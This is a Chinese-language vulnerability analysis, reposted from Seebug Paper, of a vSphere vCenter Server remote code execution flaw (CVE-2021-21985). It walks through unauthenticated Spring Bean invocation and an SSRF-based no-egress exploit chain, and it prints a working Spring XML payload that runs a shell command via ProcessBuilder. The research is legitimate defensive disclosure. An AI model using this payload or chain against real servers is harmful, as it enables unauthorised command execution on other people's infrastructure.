作者:Ricter Z
原文鏈接:http://noahblog.#/vcenter-cve-2021-2021-21985/

vSphere vCenter Server 的 vsphere-ui 基于 OSGi 框架,包含上百個 bundle。前幾日爆出的任意文件寫入漏洞即為 vrops 相關的 bundle 出現的問題。在針對其他 bundle 審計的過程中,發現 h5-vsan 相關的 bundle 提供了一些 API 端點,并且未經過授權即可訪問。通過進一步的利用,發現其中某個端點存在安全問題,可以執行任意 Spring Bean 的方法,從而導致命令執行。

漏洞時間線:

0x01. 漏洞分析

存在漏洞的 API 端點如下:

img

圖 1. 存在漏洞的 Controller

首先在請求路徑中獲取 Bean 名稱或者類名和方法名稱,接著從 POST 數據中獲取 methodInput 列表作為方法參數,接著進入 invokeService 方法:

img

圖 2. invokeService 方法

invokeServer 先獲取了 Bean 實例,接著獲取該實例的方法列表,比對方法名和方法參數長度后,將用戶傳入的參數進行了一個簡單的反序列化后利用進行了調用。Bean 非常多(根據版本不同數量有微量變化),如圖所示:

img

圖 3. Bean 列表

其中不乏存在危險方法、可以利用的 Bean,需要跟進其方法實現進行排查。本文中的 PoC 所使用的 Bean 是 vmodlContext,對應的類是 com.vmware.vim.vmomi.core.types.impl.VmodContextImpl,其中的 loadVmodlPackage 方法代碼如下:

img

圖 4. loadVmodlPackage 方法

注意到 loadVmodlPackage 會調用 SpringContextLoader 進行加載,vmodPackage 可控。

img

圖 5. 調用 SpringContextLoader

最終會調用到 ClassPathXmlApplicationContext 的構造方法。ClassPathXmlApplicationContext 可以指定一個 XML 文件路徑,Spring 會解析 XML 的內容,造成 SpEL 注入,從而實現執行任意代碼。

img

圖 6. ClassPathXmlApplicationContext

需要注意的是,在 SpringContextLoadergetContextFileNameForPackage 會將路徑中的 . 替換為 /,所以無法指定一個正常的 IPv4 地址,但是可以利用數字型 IP 繞過:

img

圖 7. 調用 loadVmodlPackages 方法并傳入 URL

XML 文件內容及攻擊效果如下:

img

圖 8. XML 文件內容及攻擊效果

0x02. 不出網利用(6.7 / 7.0)

若要利用此漏洞本質上需要獲取一個 XML 文件的內容,而 Java 的 URL 并不支持 data 協議,那么需要返回內容可控的 SSRF 或者文件上傳漏洞。這里利用的是返回內容可控的 SSRF 漏洞。漏洞位于 vSAN Health 組件中的 VsanHttpProvider.py:

img

圖 9. VsanHttpProvider.py 文件內容

這里存在一個 SSRF 漏洞,使用的是 Python 的 urlopen 函數進行請求,接著將返回內容在內存中進行解壓,并且匹配文件名為 .*offline_bundle.* 的內容并進行返回。Python 的 urlopen 支持 data 協議,所以可以構造一個壓縮包并 Base64 編碼,構造 data 協議的 URL:

img

圖 10. 利用 SSRF 返回可控文件內容

在利用的過程中,將 IP 地址替換為 localhost 即可防止 . 被替換。由于這個端點在 6.5 版本的 vSAN Health 不存在,所以無法在 6.5 版本上不出網利用。

現在雖然不用進行外網請求,但是仍然無法獲取命令回顯。通過查看 Bean 列表,發現存在名為 systemProperties 的 Bean。同時這個 Bean 也存在方法可以獲取屬性內容:

img

圖 11. 調用 systemProperties 的方法

所以在執行 SpEL 時,可以將命令暫存到 systemProperties 中,然后利用 getProperty 方法獲取回顯。最終的 context.xml 內容為:

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder">
        <constructor-arg>
          <list>
            <value>/bin/bash</value>
            <value>-c</value>
            <value><![CDATA[ ls -la /  2>&1 ]]></value>
          </list>
        </constructor-arg>
    </bean>
    <bean id="is" class="java.io.InputStreamReader">
        <constructor-arg>
            <value>#{pb.start().getInputStream()}</value>
        </constructor-arg>
    </bean>
    <bean id="br" class="java.io.BufferedReader">
        <constructor-arg>
            <value>#{is}</value>
        </constructor-arg>
    </bean>
    <bean id="collectors" class="java.util.stream.Collectors"></bean>
    <bean id="system" class="java.lang.System">
        <property name="whatever" value="#{ system.setProperty(&quot;output&quot;, br.lines().collect(collectors.joining(&quot;\n&quot;))) }"/>
    </bean>
</beans>12345678910111213141516171819202122232425262728

最終利用需要兩個 HTTP 請求進行。第一個請求利用 h5-vsan 組件的 SSRF 去請求本地的 vSAN Health 組件,觸發第二個 SSRF 漏洞從而返回內容可控的 XML 文件內容,XML 文件會執行命令并存入 System Properties 中,第二個請求調用 systemProperties Bean 的 getProperty 方法獲取輸出。最終攻擊效果如下:

img

圖 12. 不出網攻擊效果

0x03. 技術總結

img


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1598/